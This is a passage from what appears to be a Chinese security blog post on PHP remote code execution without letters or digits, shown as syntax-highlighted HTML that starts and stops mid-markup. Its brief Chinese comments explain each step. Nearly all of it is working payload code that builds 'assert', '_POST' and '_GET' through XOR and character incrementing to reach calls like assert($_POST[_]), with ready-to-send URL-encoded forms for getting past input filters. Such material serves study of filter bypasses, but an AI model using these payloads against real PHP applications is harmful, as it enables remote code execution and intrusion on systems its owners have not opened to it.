punctuation">&#125;</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$</span><span class="token punctuation">&#123;</span><span class="token operator">%</span>fe<span class="token operator">%</span>fe<span class="token operator">%</span>fe<span class="token operator">%</span>fe<span class="token operator">^</span><span class="token operator">%</span>a1<span class="token operator">%</span>b9<span class="token operator">%</span>bb<span class="token operator">%</span>aa<span class="token punctuation">&#125;</span><span class="token punctuation">[</span><span class="token constant">__</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&amp;</span><span class="token constant">_</span><span class="token operator">=</span>assert<span class="token operator">&amp;</span><span class="token constant">__</span><span class="token operator">=</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token operator">%</span><span class="token number">27</span>a<span class="token operator">%</span><span class="token number">27</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">==</span><span class="token operator">></span>  <span class="token function">assert</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"eval(<span class="token interpolation"><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'a'</span><span class="token punctuation">]</span></span>)"</span><span class="token punctuation">)</span></code></pre><p>测试结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/PHP%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97RCE/image-20200809124757860.png" alt loading="lazy"></p><p>类似的</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$_</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"!((%)("</span><span class="token operator">^</span><span class="token string double-quoted-string">"@[[@[\\"</span><span class="token punctuation">;</span>   <span class="token comment">//构造出assert</span><span class="token variable">$__</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"!+/(("</span><span class="token operator">^</span><span class="token string double-quoted-string">"~&#123;`&#123;|"</span><span class="token punctuation">;</span>   <span class="token comment">//构造出_POST</span><span class="token variable">$___</span> <span class="token operator">=</span> <span class="token variable">$$__</span><span class="token punctuation">;</span>   <span class="token comment">//$___ = $_POST</span><span class="token variable">$_</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">//assert($_POST[_]);</span></span></code></pre><h3 id="自增"><a href="#自增" class="headerlink" title="自增"></a>自增</h3><p>payload</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">//俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>  <span class="token comment">//两个短杠赋值为空</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">[</span><span class="token string single-quoted-string">''</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">//从arrayarray中取首字符，即a。这里$_=$_[0]也是一样的道理，不过waf限制数字输入</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//b</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//c</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//d</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//e</span><span class="token variable">$__</span><span class="token operator">.=</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//E  把两个短杠赋值为E</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//F  一个短杠继续自增</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//G </span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token operator">.</span><span class="token variable">$__</span><span class="token punctuation">;</span> <span class="token comment">// GE  一个短杠自增变成了G，两个短杠在前面第十一行处已经赋值为E，拼接得GE</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//H 此处一个短杠继续自增，为H</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//I</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//J</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//k</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//L</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//M</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//N</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//O</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//P</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//Q</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//R</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//S</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token operator">++</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">//T</span><span class="token variable">$__</span><span class="token operator">.=</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">// GET 在此处，两条短杠原是GE与一条短杠（已经自增为T），.=拼接，构成get</span><span class="token variable">$</span><span class="token punctuation">&#123;</span><span class="token string single-quoted-string">'_'</span><span class="token operator">.</span><span class="token variable">$__</span><span class="token punctuation">&#125;</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$</span><span class="token punctuation">&#123;</span><span class="token string single-quoted-string">'_'</span><span class="token operator">.</span><span class="token variable">$__</span><span class="token punctuation">&#125;</span><span class="token punctuation">[</span><span class="token constant">__</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 进行拼接，$_GET['_']($_GET['__']);</span>url编码后：<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">5</span>b<span class="token operator">%</span><span class="token number">5</span>d<span class="token operator">.</span><span class="token operator">%</span><span class="token number">5</span>b<span class="token operator">%</span><span class="token number">5</span>d<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">5</span>b<span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">5</span>d<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">.</span><span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span><span class="token operator">%</span><span class="token number">7</span>b<span class="token operator">%</span><span class="token number">27</span>_<span class="token operator">%</span><span class="token number">27.</span><span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">7</span>d<span class="token operator">%</span><span class="token number">5</span>b_<span class="token operator">%</span><span class="token number">5</span>d<span class="token punctuation">(</span><span class="token operator">%</span><span class="token number">24</span><span class="token operator">%</span><span class="token number">7</span>b<span class="token operator">%</span><span class="token number">27</span>_<span class="token operator">%</span><span class="token number">27.</span><span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">7</span>d<span class="token operator">%</span><span class="token number">5</span>b__<span class="token operator">%</span><span class="token number">5</span>d<span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">3</span>b</span></code></pre><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$_</span><span class="token operator">=</span>@<span class="token string double-quoted-string">"<span class="token interpolation"><span class="token variable">$_</span></span>"</span><span class="token punctuation">;</span> <span class="token comment">// $_='Array';</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'!'</span><span class="token operator">==</span><span class="token string single-quoted-string">'@'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// $_=$_[0];</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">// A</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span> <span class="token comment">// S</span><span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span> <span class="token comment">// S</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// E </span><span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// R</span><span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// T</span><span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">=</span><span class="token string single-quoted-string">'_'</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// P</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// O</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// S</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// T</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$$____</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token punctuation">(</span><span class="token variable">$_</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ASSERT($_POST[_]);</span>url编码后：<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">5</span>b<span class="token operator">%</span><span class="token number">5</span>d<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">40</span><span class="token operator">%</span><span class="token number">22</span><span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">22</span><span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">5</span>b<span class="token operator">%</span><span class="token number">27</span><span class="token operator">!</span><span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">40</span><span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">5</span>d<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token 